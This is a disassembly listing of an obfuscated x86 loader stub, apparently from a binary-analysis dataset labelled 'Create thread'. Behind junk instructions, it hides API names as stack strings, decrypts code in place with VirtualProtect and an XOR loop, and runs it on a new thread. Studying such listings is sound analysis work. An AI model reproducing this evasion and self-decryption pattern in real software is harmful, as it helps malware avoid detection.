Function at 0x2dd67c1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg edi, ecx
xchg ecx, edi
pushfd
push 0x71b1702c
add esp, 4
popfd
call fcn.02dd6bcc
push ecx
pop ecx
lea eax, [ebp - 0xd8]
push ecx
push edi
pop edi
pop ecx
mov ebx, 0x61
nop
add bx, 0xa
xchg edx, ecx
xchg ecx, edx
mov word [eax], bx
pushfd
push ebx
add esp, 4
popfd
sub bx, 6
push ebx
push edx
pop edx
pop ebx
pushfd
push edx
add esp, 4
popfd
mov word [eax + 2], bx
push ebx
pop ebx
add bx, 0xd
pushfd
inc esi
dec esi
popfd
mov word [eax + 4], bx
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x115c43db
add esp, 4
popfd
sub bx, 4
pushfd
xor edx, 0x676ce1b9
xor edx, 0x676ce1b9
popfd
mov word [eax + 6], bx
xchg ecx, ecx
sub bx, 9
mov eax, eax
mov word [eax + 8], bx
pushfd
push edx
add esp, 4
popfd
pushfd
xor edx, 0x2d8258ae
xor edx, 0x2d8258ae
popfd
add bx, 7
xchg edx, esi
xchg esi, edx
mov word [eax + 0xa], bx
pushfd
push esi
add esp, 4
popfd
sub bx, 0x39
xchg edi, esi
xchg esi, edi
push edi
push eax
pop eax
pop edi
mov word [eax + 0xc], bx
pushfd
push eax
add esp, 4
popfd
dec bx
nop
mov word [eax + 0xe], bx
mov edx, edx
pushfd
xor edi, 0xf154a78a
xor edi, 0xf154a78a
popfd
sub bx, 4
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x10], bx
pushfd
xor eax, 0x54c13fea
xor eax, 0x54c13fea
popfd
add bx, 0x36
pushfd
push eax
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x12], bx
mov esi, esi
pushfd
push edi
add esp, 4
popfd
add bx, 8
xchg esi, esi
xchg ecx, edx
xchg edx, ecx
mov word [eax + 0x14], bx
xchg esi, esi
xchg edx, eax
xchg edx, eax
mov word [eax + 0x16], bx
push edi
pop edi
mov word [eax + 0x18], 0
push edx
pop edx
pushfd
push ecx
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0x1640da9c
add esp, 4
popfd
mov dword [ebp - 0x10], eax
pushfd
push eax
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push ecx
push eax
pop eax
pop ecx
mov ebx, 0x61
mov edx, edx
sub bl, 0xb
mov esi, esi
xchg ebx, edi
xchg edi, ebx
mov byte [eax], bl
mov ebx, ebx
add bl, 0x13
push ecx
push ebx
pop ebx
pop ecx
mov byte [eax + 1], bl
push edi
push eax
pop eax
pop edi
add bl, 9
pushfd
push ebx
add esp, 4
popfd
mov eax, eax
mov byte [eax + 2], bl
xchg edi, eax
xchg edi, eax
add bl, 2
push edi
pop edi
mov edi, edi
mov byte [eax + 3], bl
pushfd
push ecx
add esp, 4
popfd
inc bl
pushfd
push 0x10be760d
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
xor edi, 0xea53e36f
xor edi, 0xea53e36f
popfd
sub bl, 0x14
push ebx
push eax
pop eax
pop ebx
pushfd
push 0x6d1d888f
add esp, 4
popfd
mov byte [eax + 5], bl
push edx
push ebx
pop ebx
pop edx
add bl, 0xb
xchg edi, ecx
xchg ecx, edi
pushfd
inc edx
dec edx
popfd
mov byte [eax + 6], bl
pushfd
xor edx, 0xb52074e
xor edx, 0xb52074e
popfd
sub bl, 0x1c
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
push 0xbb76c6ea
add esp, 4
popfd
mov esi, esi
add bl, 0x22
push edx
push ecx
pop ecx
pop edx
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
inc esi
dec esi
popfd
push ebx
push esi
pop esi
pop ebx
sub bl, 3
pushfd
xor edx, 0x9052dbe8
xor edx, 0x9052dbe8
popfd
xchg ebx, eax
xchg ebx, eax
mov byte [eax + 9], bl
pushfd
push edx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
add bl, 5
pushfd
push esi
add esp, 4
popfd
mov ecx, ecx
mov byte [eax + 0xa], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0xdaed2ea8
add esp, 4
popfd
sub bl, 0xf
pushfd
inc eax
dec eax
popfd
push esi
pop esi
mov byte [eax + 0xb], bl
pushfd
push 0xca4353a4
add esp, 4
popfd
xchg ecx, ecx
sub bl, 2
pushfd
xor edi, 0x8b4e5d1b
xor edi, 0x8b4e5d1b
popfd
push ecx
pop ecx
mov byte [eax + 0xc], bl
xchg ebx, edi
xchg edi, ebx
xchg ebx, ebx
add bl, 0x11
pushfd
xor ecx, 0x8622975d
xor ecx, 0x8622975d
popfd
mov byte [eax + 0xd], bl
pushfd
push 0x3f9bbf6f
add esp, 4
popfd
mov byte [eax + 0xe], 0
push edi
push edx
pop edx
pop edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push ecx
pop ecx
pushfd
xor esi, 0xc73e660f
xor esi, 0xc73e660f
popfd
mov dword [ebp - 0xc], eax
pushfd
xor esi, 0x756a3651
xor esi, 0x756a3651
popfd
lea eax, [ebp - 8]
pushfd
xor eax, 0x3ccb975
xor eax, 0x3ccb975
popfd
mov ecx, ecx
push eax
push 4
push 0x1be3a78
push entry0
call dword [ebp - 0xc]
pushfd
push 0xdfb563c8
add esp, 4
popfd
mov edi, entry0
pushfd
push ecx
add esp, 4
popfd
push ecx
push edx
pop edx
pop ecx
mov esi, 0x40100e
pushfd
push esi
add esp, 4
popfd
mov ecx, 0x1be3a78
pushfd
xor ecx, 0xe2d8216a
xor ecx, 0xe2d8216a
popfd
mov edx, 0xdd82ec99
push esi
pop esi
mov ebx, 0xc7eb0662
pushfd
xor ecx, 0x44fff9e2
xor ecx, 0x44fff9e2
popfd
cld
nop
lodsb al, byte [esi]
mov ecx, ecx
xor al, dl
mov eax, eax
stosb byte es:[edi], al
mov edi, edi
ror edx, 5
xchg ebx, ebx
imul edx, edx, 7
mov esi, esi
test ebx, 1
mov eax, eax
je 0x2dd6b42
mov eax, eax
add esi, 1
xchg esi, esi
ror ebx, 1
mov esi, esi
dec ecx
mov edi, edi
test ecx, ecx
mov esi, esi
jne 0x2dd6b1c
pushfd
push 0x379a9af2
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
inc edi
dec edi
popfd
push eax
push 0x20
push 0x1be3a78
push entry0
call dword [ebp - 0xc]
mov ebx, ebx
lea eax, [ebp - 4]
xchg ecx, edx
xchg edx, ecx
xchg edx, eax
xchg edx, eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
xor eax, 0xaec603d0
xor eax, 0xaec603d0
popfd
xchg ebx, eax
xchg ebx, eax
mov eax, eax
pushfd
inc ebx
dec ebx
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg edi, edx
xchg edx, edi
mov ebx, ebx
jmp 0x2dd6b9d